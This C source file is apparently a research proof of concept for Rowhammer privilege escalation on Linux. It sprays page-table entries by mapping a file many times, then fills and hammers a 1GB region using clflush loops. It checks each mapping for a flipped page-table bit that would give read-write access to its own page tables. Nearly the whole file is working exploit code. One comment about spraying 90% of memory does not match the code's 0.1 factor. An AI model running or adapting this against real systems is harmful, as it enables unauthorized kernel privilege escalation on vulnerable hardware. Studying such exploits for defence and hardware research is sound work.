1 /*
2  * An attempt at escalating privileges under Linux systems whose RAM is
3  * vulnerable to row hammering.
4  *
5  * Work by [email protected] and [email protected]
6  *
7  * We can probabilistically flip random bits in physical memory in memory rows
8  * "close" to the rows we are hammering. In order to exploit this, we wish to
9  * have a (physical) memory layout that looks roughly like this:
10  *
11  * [Physical pages used by the kernel as PTEs for a mapping we have access to]
12  * [Physical page that gets hammered]
13  * [Physical pages used by the kernel as PTEs for a mapping we have access to]
14  * [Physical page that gets hammered]
15  * (...)
16  *
17  * We wish to reach a point where a high fraction of physical memory is filled
18  * with this pattern. When we cause a bit-flip in a physical page adjacent to
19  * one we are hammering, we are corrupting a PTE for a page that is mapped into
20  * our virtual address space.
21  *
22  * If we succeed in corrupting one of the bits for indexing into the physical
23  * pages, we have a high probability that we will now have a RW mapping of a
24  * part of our processes page table; this should allow us full privilege
25  * escalation.
26  *
27  * In order to obtain the desired layout in physical memory, we perform the
28  * following actions:
29  *
30  * (1) Reserve a 1GB chunk for hammering, but do not allocate it yet.
31  * (2) mmap() a file repeatedly into our address space to force the OS to create
32  *     PTEs. For each 512m we map, we get 1m of PTEs.
33  * (3) Touch the first/next page from the 1GB chunk.
34  * (4) Repeat steps (2) and (3) until physical memory is full.
35  * (5) Start row-hammering the 1GB area for a while.
36  * (6) Iterate over all mappings created in step (2), and check whether they map
37  *     to the correct page.
38  * (7) If they do, we have lost. Goto (5).
39  * (8) If they don't, we have won.
40  *
41  *
42  */
43 
44 #include <assert.h>
45 #include <errno.h>
46 #include <fcntl.h>
47 #include <inttypes.h>
48 #include <stdint.h>
49 #include <stdio.h>
50 #include <stdlib.h>
51 #include <string.h>
52 #include <sys/mount.h>
53 #include <sys/mman.h>
54 #include <sys/stat.h>
55 #include <sys/sysinfo.h>
56 #include <sys/wait.h>
57 #include <time.h>
58 #include <unistd.h>
59 
60 // Abort the attack after a given number of attempts at inducing bit flips.
61 const uint32_t maximum_tries = 1024;
62 
63 const size_t hammer_workspace_size = 1ULL << 32;
64 const int toggles = 540000;
65 
66 const uint64_t size_of_pte_sprays = 1ULL << 22;
67 const uint64_t size_of_hammer_targets = 1ULL << 20;
68 
69 const char* mapped_filename = "./mapped_file.bin";
70 
71 // Reserve, but do not map, a range of addresses of a given size.
reserve_address_space(uint64_t size)72 uint8_t* reserve_address_space(uint64_t size) {
73   uint8_t* mapping = (uint8_t*)mmap(NULL, size, PROT_NONE,
74       MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
75   if (mapping == (void*)-1) {
76     printf("[E] Failed to reserve %lx of address space, exiting\n", size);
77     exit(1);
78   }
79   return mapping;
80 }
81 
82 // Spray PTEs into kernel space by repeatedly mapping the same file into a
83 // given pre-reserved area of memory.
84 //
85 // Returns the "end" of the mappings, e.g. the first address past the last file
86 // mapping that was created during the PTE spray.
spray_pte(uint8_t * address,uint64_t size_of_pte_spray,int file_descriptor,uint64_t file_size)87 uint8_t* spray_pte(
88     uint8_t* address, uint64_t size_of_pte_spray, int file_descriptor,
89     uint64_t file_size) {
90 
91   uint64_t size_of_sprayed_ptes = 0;
92   while (size_of_sprayed_ptes < size_of_pte_spray) {
93     void* mapping = mmap(address, file_size, PROT_READ | PROT_WRITE,
94         MAP_POPULATE | MAP_SHARED | MAP_FIXED, file_descriptor, 0);
95     size_of_sprayed_ptes += file_size / 512;
96     address += file_size + (file_size % 0x1000);  // Round up to next page size.
97 
98     if (mapping == (void*)-1) {
99       printf("[E] Failed to spray PTE's (%s).\n", strerror(errno));
100       exit(1);
101     }
102   }
103   return address;
104 }
105 
106 // Create and write the file that will be mapped later.
create_and_write_file_to_be_mapped()107 void create_and_write_file_to_be_mapped() {
108   FILE* mapfile = fopen(mapped_filename, "wb");
109   char pagedata[0x1000];
110   uint16_t* start_page = (uint16_t*)&pagedata[0];
111   memset(pagedata, 'X', sizeof(pagedata));
112 
113   for (uint32_t i = 0; i <= 0xFFFF; ++i) {
114     start_page[0] = (uint16_t)i;
115     fwrite(pagedata, sizeof(pagedata), sizeof(char), mapfile);
116     fflush(mapfile);
117   }
118   fclose(mapfile);
119 }
120 
121 // Obtain the size of the physical memory of the system.
get_physical_memory_size()122 uint64_t get_physical_memory_size() {
123   struct sysinfo info;
124   sysinfo( &info );
125   return (size_t)info.totalram * (size_t)info.mem_unit;
126 }
127 
128 // Pick a random page in the memory region.
pick_addr(uint8_t * area_base,uint64_t mem_size)129 uint8_t* pick_addr(uint8_t* area_base, uint64_t mem_size) {
130   size_t offset = (rand() << 12) % mem_size;
131   return area_base + offset;
132 }
133 
134 // Helper class to show timing information during the hammering.
135 class Timer {
136   struct timespec start_time_;
137 
138  public:
Timer()139   Timer() {
140     int rc = clock_gettime(CLOCK_MONOTONIC, &start_time_);
141     assert(rc == 0);
142   }
143 
get_diff()144   double get_diff() {
145     struct timespec end_time;
146     int rc = clock_gettime(CLOCK_MONOTONIC, &end_time);
147     assert(rc == 0);
148     return (end_time.tv_sec - start_time_.tv_sec
149             + (double) (end_time.tv_nsec - start_time_.tv_nsec) / 1e9);
150   }
151 
print_iters(uint64_t iterations)152   void print_iters(uint64_t iterations) {
153     double total_time = get_diff();
154     double iter_time = total_time / iterations;
155     printf("  %.3f nanosec per iteration: %g sec for %" PRIu64 " iterations\n",
156            iter_time * 1e9, total_time, iterations);
157   }
158 };
159 
row_hammer(int iterations,int addr_count,uint8_t * area,uint64_t size)160 static void row_hammer(int iterations, int addr_count, uint8_t* area,
161     uint64_t size) {
162   Timer t;
163   for (int j = 0; j < iterations; j++) {
164     uint32_t num_addrs = addr_count;
165     volatile uint32_t *addrs[num_addrs];
166     for (int a = 0; a < addr_count; a++) {
167       addrs[a] = (uint32_t *) pick_addr(area, size);
168     }
169 
170     uint32_t sum = 0;
171     for (int i = 0; i < toggles; i++) {
172       for (int a = 0; a < addr_count; a++)
173         sum += *addrs[a] + 1;
174       for (int a = 0; a < addr_count; a++)
175         asm volatile("clflush (%0)" : : "r" (addrs[a]) : "memory");
176     }
177 
178     // Just some code to make sure the above summation is not optimized out.
179     if (sum != 0) {
180       printf("[!] Sum was %lx\n", (uint64_t)sum);
181     }
182   }
183   t.print_iters(iterations * addr_count * toggles);
184 }
185 
dump_page(uint8_t * data)186 void dump_page(uint8_t* data) {
187   for (int i = 0; i < 0x1000; ++i) {
188     if (i % 32 == 0) {
189       printf("\n");
190     }
191     printf("%2.2x ", data[i]);
192   }
193   printf("\n");
194 }
195 
check_hammer_area_integrity(uint8_t * hammer_area,uint64_t max_size)196 bool check_hammer_area_integrity(uint8_t *hammer_area, uint64_t max_size) {
197   bool no_corruption = true;
198   for (uint8_t* check = hammer_area;
199     check < hammer_area + max_size; ++check) {
200     if (*check != 0xFF) {
201       dump_page(check);
202       printf("[!] Found bitflip inside hammer workspace at %lx.\n",
203         check-hammer_area);
204       no_corruption = false;
205     }
206   }
207   return no_corruption;
208 }
209 
check_mapping_integrity(uint8_t * mapping,uint64_t max_size)210 bool check_mapping_integrity(uint8_t* mapping, uint64_t max_size) {
211   bool first_page_ok =
212     (mapping[0] == 0) && (mapping[1] == 0) && (mapping[2] =='X');
213   bool all_pages_ok = true;
214 
215   if (!first_page_ok) {
216     return false;
217   }
218 
219   // Check for all following pages that the dwords at the beginning of the
220   // pages are in ascending order.
221   for (uint8_t* check_pointer = mapping + 0x1000;
222       check_pointer < mapping+max_size; check_pointer += 0x1000) {
223     uint16_t* previous_page = (uint16_t*)(check_pointer-0x1000);
224     uint16_t* current_page = (uint16_t*)check_pointer;
225     uint16_t previous_page_counter = previous_page[0];
226     uint16_t current_page_counter = current_page[0];
227     //printf("%u == %u ?\n", (uint16_t)(previous_page_counter+1),
228     //    (uint16_t)current_page_counter);
229     if ((uint16_t)(previous_page_counter + 1) !=
230         (uint16_t)current_page_counter) {
231       printf("[!] Possible winning ticket found at %lx\n",
232           (uint64_t)check_pointer);
233       printf("[!] Expected page counter %x, got %x.",
234           (uint16_t)(previous_page_counter+1), (uint16_t)current_page_counter);
235       // Dump the hexadecimal contents of the page.
236       dump_page(check_pointer);
237       all_pages_ok = false;
238     }
239   }
240   return all_pages_ok;
241 }
242 
get_physical_address(uint64_t virtual_address)243 uint64_t get_physical_address(uint64_t virtual_address) {
244   int fd = open("/proc/self/pagemap", O_RDONLY);
245   assert(fd >=0);
246 
247   off_t pos = lseek(fd, (virtual_address / 0x1000) * 8, SEEK_SET);
248   assert(pos >= 0);
249   uint64_t value;
250   int got = read(fd, &value, 8);
251 
252   close(fd);
253   assert(got == 8);
254   return ((value & ((1ULL << 54)-1)) * 0x1000) |
255     (virtual_address & 0xFFF);
256 }
257 
dump_physical_addresses(uint8_t * mapping,uint64_t max_size)258 void dump_physical_addresses(uint8_t* mapping, uint64_t max_size) {
259   for (uint8_t* begin = mapping; begin < mapping + max_size; begin += 0x1000) {
260     printf("[!] Virtual %lx -> Physical %lx\n", (uint64_t)begin,
261         get_physical_address((uint64_t)begin));
262   }
263 }
264 
main(int argc,char ** argv)265 int main(int argc, char**argv) {
266   // Reserve a massive (16 TB) area of address space for us to fill with file
267   // mappings of a file - the goal is to fill physical memory with PTEs.
268   uint8_t* file_map_workspace = reserve_address_space(1ULL << 44);
269 
270   // Allocate, but do not yet populate a 1GB area of memory that we are going to
271   // hammer.
272   uint8_t* hammer_workspace = (uint8_t*) mmap(NULL, hammer_workspace_size,
273       PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
274 
275   printf("[!] Creating file to be mapped.\n");
276   create_and_write_file_to_be_mapped();
277 
278   // Obtain the physical memory size of the current system.
279   uint64_t physical_memory_size = get_physical_memory_size();
280   printf("[!] System has %ld bytes of physical memory\n", physical_memory_size);
281 
282   // Open the file that we will repeatedly map to spray PTEs.
283   int mapped_file_descriptor = open(mapped_filename, O_RDWR);
284   struct stat st;
285   if (stat(mapped_filename, &st) != 0) {
286     printf("[E] Failed to stat %s, exiting.\n", mapped_filename);
287     exit(1);
288   }
289   uint64_t file_size = st.st_size;
290 
291   // A rough estimate on how much physical memory has been sprayed.
292   uint64_t physical_memory_consumed = 0;
293   uint8_t* current_pointer_into_file_map_workspace = file_map_workspace;
294   uint8_t* current_pointer_into_hammer_workspace = hammer_workspace;
295   // Aim to spray into 90% of physical memory.
296   while (physical_memory_consumed <= (0.1 * (double)physical_memory_size)) {
297 
298     // Spray a bunch of PTEs.
299     current_pointer_into_file_map_workspace =
300       spray_pte(current_pointer_into_file_map_workspace, size_of_pte_sprays,
301           mapped_file_descriptor, file_size);
302     // Was the PTE spraying successful?
303     if (current_pointer_into_file_map_workspace == (uint8_t*)-1) {
304       printf("[!] Failed to spray PTEs after having consumed %lx bytes.",
305           physical_memory_consumed);
306       exit(1);
307     }
308     physical_memory_consumed += size_of_pte_sprays;
309 
310     // Now touch a bunch of pages in the hammer workspace to have physical pages
311     // allocated for them.
312     for (uint64_t size_counter = 0; size_counter < size_of_hammer_targets;
313         size_counter += 0x1000) {
314       if ((current_pointer_into_hammer_workspace + size_counter) <
315           hammer_workspace + hammer_workspace_size) {
316         memset(current_pointer_into_hammer_workspace + size_counter, 0xFF,
317             0x1000);
318       }
319     }
320     current_pointer_into_hammer_workspace += size_of_hammer_targets;
321     physical_memory_consumed += size_of_hammer_targets;
322     printf("[!] Should have consumed ~%ld bytes of physical memory\n",
323         physical_memory_consumed);
324   }
325 
326   // All memory should be properly set up to be hammered. Check the integrity
327   // pre-hammering.
328   printf("[!] Finished creating physical memory layout.\n");
329 
330   uint64_t hammer_area_size = current_pointer_into_hammer_workspace -
331     hammer_workspace;
332   uint64_t mapping_area_size = current_pointer_into_file_map_workspace -
333     file_map_workspace;
334 
335   // Dump virtual addresses to the console so we can inspect where they end up
336   // in physical memory.
337   printf("[!] Hammer workspace is at %lx and of %" PRId64 ".\n",
338       (uint64_t)hammer_workspace, hammer_area_size);
339   printf("[!] File mappings are at %lx and of %" PRId64 " size.\n",
340       (uint64_t)file_map_workspace, mapping_area_size);
341 
342   // Dump virtual-to-physical mapping for the hammer area and the file mapping.
343   printf("[!] Dumping physical addresses for hammer workspace.\n");
344   dump_physical_addresses(hammer_workspace, hammer_area_size);
345   printf("[!] Dumping physical addresses for file mapping.\n");
346   dump_physical_addresses(file_map_workspace, file_size);
347 
348   printf("[!] Checking integrity of mapping prior to hammering ... ");
349   if (check_mapping_integrity(file_map_workspace, mapping_area_size)) {
350     printf("PASS\n");
351   } else {
352     printf("FAIL\n");
353   }
354 
355   printf("[!] Checking integrity of mapping workspace prior to hammering ... ");
356   fflush(stdout);
357   if (check_hammer_area_integrity(hammer_workspace, hammer_area_size)) {
358     printf("PASS\n");
359   } else {
360     printf("FAIL\n");
361   }
362 
363   // Begin the actual hammering.
364   for (int tries = 0; tries < maximum_tries; ++tries) {
365     // Hammer memory.
366     printf("[!] About to hammer for a few minutes.\n");
367     row_hammer(3000, 4, hammer_workspace, current_pointer_into_hammer_workspace -
368         hammer_workspace);
369 
370     // Attempt to verify the integrity of the mapping.
371     printf("[!] Done hammering. Now checking mapping integrity.\n");
372     if (!check_mapping_integrity(file_map_workspace,
373         current_pointer_into_file_map_workspace-file_map_workspace)) {
374       fgetc(stdin);
375     } else {
376       printf("[!] No PTE entries modified\n");
377     }
378 
379     printf("[!] Checking integrity of mapping workspace post-hammering ... ");
380     fflush(stdout);
381     if (check_hammer_area_integrity(hammer_workspace,
382         current_pointer_into_hammer_workspace - hammer_workspace)) {
383        printf("PASS\n");
384     } else {
385       printf("FAIL\n");
386     }
387 
388   }
389 }
390 
391